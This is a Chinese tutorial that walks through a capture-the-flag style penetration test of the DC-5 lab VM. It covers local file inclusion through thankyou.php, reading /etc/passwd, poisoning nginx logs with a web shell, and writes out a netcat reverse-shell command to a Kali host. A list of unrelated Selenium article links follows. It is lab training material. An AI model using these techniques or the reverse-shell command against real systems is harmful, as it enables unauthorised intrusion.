DC-5渗透测试教程详解(上)

简介: DC-5渗透测试教程详解

DC-5渗透测试教程详解


测试机和靶机准备

有需要自取,注意调整DC-5的与kali在同一个为NAT模式下


[测试机kali]

b2ca9dd019824770bb645f79f5d0c43d.jpg


[靶机DC-5]

e0531f86231b48a3a0097d1d1bc998c2.jpg



信息收集

kali的IP地址为 192.168.10.140

- kali

cb39e35ddf0b4a8084819e7705ea570a.png

- dc-5

d640e2fae0c4429a9c182c1edebf4b5f.png

使用nmap进行扫描

2e0761c6f0e64986ba25b8c861d20d30.png


打开浏览器登录 192.168.10.134进行访问,确定其是否为目标主机

df9597f2d277466e8c659e46a1cf4409.png


漏洞分析

寻找漏洞

e8404ec2963f447faf1dca7655ba90c2.png


在contact界面提交信息后,发现底部的时间显示会变动,

所以猜测可能存在漏洞。底部的年份显示独立存在的数据,

可能存在于某个文件中,传递给了thankyou.php。

验证猜想,使用御剑对其扫描

发现有可以文件 footer.php

9cf6bc402d13476c8fa1514501f7c006.png


对其进行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好】是底部的年份信息


2284bacd60774bff89b8fe3e6e43402f.png


猜想是否行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好是底部的年份

有可能是通过链接传入的!


验证猜想,构造连接

验证想法,构造链接,访问对比,192.168.10.136/thankyou.php?file=footer.php

a9715f0f97cc43f3a2ecc8ac7641ff38.png


192.168.10.139/thankyou.php?file=

41b15791dbee4e5981c1b3e3420c502b.png


如果参数值换成/etc/passwd,那么在底部就会显示DC5的用户信息

d3ac3d3cb2a74a499d4cee7628a48868.png


如果参数值换成nginx日志文件的目录/var/log/nginx/error.log,那么在底部就会显示nginx的日志文件信息。

0b0b27d931a9432ca1d0149712a6ba21.png


渗透测试

文件包含漏洞:通过日志挂马的方式,想办法将一句话木马写入到靶机的日志文件中

62cba8eedd174d0486e34a9686eb644c.png


上传分析

e2789963eb7b4f3bb93f6dc0618a8bb7.png


使用Burp suite抓包,上传


29a535bc394d4d6aa40bb4c86cdcdabe.png

d446c66a3f04468b8779df8c99acd629.png


验证 http://192.168.10.134/thankyou.php?file=/var/log/nginx/error.log ,查看日志是否上传成功

925026f3b9364e1781533151263dbf1c.png

使用蚁剑连接

686e29db4a424bb29d6763f8699c3752.png


测试连接

4d1466c4bc4d4e81a19d52fb8b889aec.png

74aaeb20b2104f1fb1e454a415d19c1d.png

输入命令 ——发现没有权限

c562d2b03d024db6bdce738d53b7ef81.png

建立反向连接

kali建立反向连接

在kali上开启监听,终端输入命令nc –lvvp 1234

蚁剑中执行命令 nc -e /bin/bash 192.168.10.140 1234 。

在蚁剑中执行的命令不要复制,要手动输入。 192.168.10.140是kali的地址。

2e73dbfcd8cc4aa4a6a5e2f4af3dbac6.png

相关文章
|
5天前
|
Web App开发 JavaScript 前端开发
《手把手教你》系列技巧篇(三十九)-java+ selenium自动化测试-JavaScript的调用执行-上篇(详解教程)
【5月更文挑战第3天】本文介绍了如何在Web自动化测试中使用JavaScript执行器(JavascriptExecutor)来完成Selenium API无法处理的任务。首先,需要将WebDriver转换为JavascriptExecutor对象,然后通过executeScript方法执行JavaScript代码。示例用法包括设置JS代码字符串并调用executeScript。文章提供了两个实战场景:一是当时间插件限制输入时,用JS去除元素的readonly属性;二是处理需滚动才能显示的元素,利用JS滚动页面。还给出了一个滚动到底部的代码示例,并提供了详细步骤和解释。
28 10
|
12天前
|
Java 测试技术 Python
《手把手教你》系列技巧篇(三十六)-java+ selenium自动化测试-单选和多选按钮操作-番外篇(详解教程)
【4月更文挑战第28天】本文简要介绍了自动化测试的实战应用,通过一个在线问卷调查(<https://www.sojump.com/m/2792226.aspx/>)为例,展示了如何遍历并点击问卷中的选项。测试思路包括找到单选和多选按钮的共性以定位元素,然后使用for循环进行点击操作。代码设计方面,提供了Java+Selenium的示例代码,通过WebDriver实现自动答题。运行代码后,可以看到控制台输出和浏览器的相应动作。文章最后做了简单的小结,强调了本次实践是对之前单选多选操作的巩固。
24 0
|
2天前
|
前端开发 Java 测试技术
《手把手教你》系列技巧篇(四十二)-java+ selenium自动化测试 - 处理iframe -下篇(详解教程)
【5月更文挑战第6天】本文介绍了如何使用Selenium处理含有iframe的网页。作者首先解释了iframe是什么,即HTML中的一个框架,用于在一个页面中嵌入另一个页面。接着,通过一个实战例子展示了在QQ邮箱登录页面中,由于输入框存在于iframe内,导致直接定位元素失败。作者提供了三种方法来处理这种情况:1)通过id或name属性切换到iframe;2)使用webElement对象切换;3)通过索引切换。最后,给出了相应的Java代码示例,并提醒读者根据iframe的实际情况选择合适的方法进行切换和元素定位。
7 0
|
2天前
|
Java 测试技术 API
Spring Boot 单元测试 0基础教程
Spring Boot 单元测试 0基础教程
8 0
|
3天前
|
前端开发 测试技术 Python
《手把手教你》系列技巧篇(四十一)-java+ selenium自动化测试 - 处理iframe -上篇(详解教程)
【5月更文挑战第5天】本文介绍了HTML中的`iframe`标签,它用于在网页中嵌套其他网页。`iframe`常用于加载外部内容或网站的某个部分,以实现页面美观。文章还讲述了使用Selenium自动化测试时如何处理`iframe`,通过`switchTo().frame()`方法进入`iframe`,完成相应操作,然后使用`switchTo().defaultContent()`返回主窗口。此外,文章提供了一个包含`iframe`的HTML代码示例,并给出了一个简单的自动化测试代码实战,演示了如何在`iframe`中输入文本。
14 3
|
4天前
|
JavaScript 前端开发 Java
《手把手教你》系列技巧篇(四十)-java+ selenium自动化测试-JavaScript的调用执行-下篇(详解教程)
【5月更文挑战第4天】本文介绍了如何使用JavaScriptExecutor在自动化测试中实现元素高亮显示。通过创建并执行JS代码,可以改变元素的样式,例如设置背景色和边框,以突出显示被操作的元素。文中提供了一个Java示例,展示了如何在Selenium中使用此方法,并附有代码截图和运行效果展示。该技术有助于跟踪和理解测试过程中的元素交互。
8 0
|
6天前
|
JavaScript 前端开发 测试技术
《手把手教你》系列技巧篇(三十八)-java+ selenium自动化测试-日历时间控件-下篇(详解教程)
【5月更文挑战第2天】在自动化测试过程中,经常会遇到处理日期控件的点击问题。宏哥之前分享过一种方法,但如果输入框是`readonly`属性,这种方法就无法奏效了。不过,通过修改元素属性,依然可以实现自动化填写日期。首先,定位到日期输入框并移除`readonly`属性,然后使用`sendKeys`方法输入日期。这样,即使输入框设置了`readonly`,也能成功处理日期控件。
24 1
|
6天前
|
SQL 安全 数据处理
Web 测试神器:HackBar 保姆级教程
Web 测试神器:HackBar 保姆级教程
|
7天前
|
Java 测试技术 Python
《手把手教你》系列技巧篇(三十七)-java+ selenium自动化测试-日历时间控件-上篇(详解教程)
【5月更文挑战第1天】该文介绍了使用Selenium自动化测试网页日历控件的方法。首先,文章提到在某些Web应用中,日历控件常用于选择日期并筛选数据。接着,它提供了两个实现思路:一是将日历视为文本输入框,直接输入日期;二是模拟用户交互,逐步选择日期。文中给出了JQueryUI网站的一个示例,并展示了对应的Java代码实现,包括点击日历、选择日期等操作。
30 0
|
14天前
|
存储 前端开发 测试技术
《手把手教你》系列技巧篇(三十五)-java+ selenium自动化测试-单选和多选按钮操作-下篇(详解教程)
【4月更文挑战第27天】本文介绍了使用Java+Selenium进行Web自动化测试时,如何遍历和操作多选按钮的方法。文章分为两个部分,首先是一个本地HTML页面的示例,展示了多选按钮的HTML代码和页面效果,并详细解释了遍历多选按钮的思路:找到所有多选按钮的共同点,通过定位这些元素并放入list容器中,然后使用for循环遍历并操作。 第二部分介绍了在JQueryUI网站上的实战,给出了被测网址,展示了代码设计,同样使用了findElements()方法获取所有多选按钮并存储到list中,然后遍历并进行点击操作。最后,文章对整个过程进行了小结,并推荐了作者的其他自动化测试教程资源。
20 0

热门文章

最新文章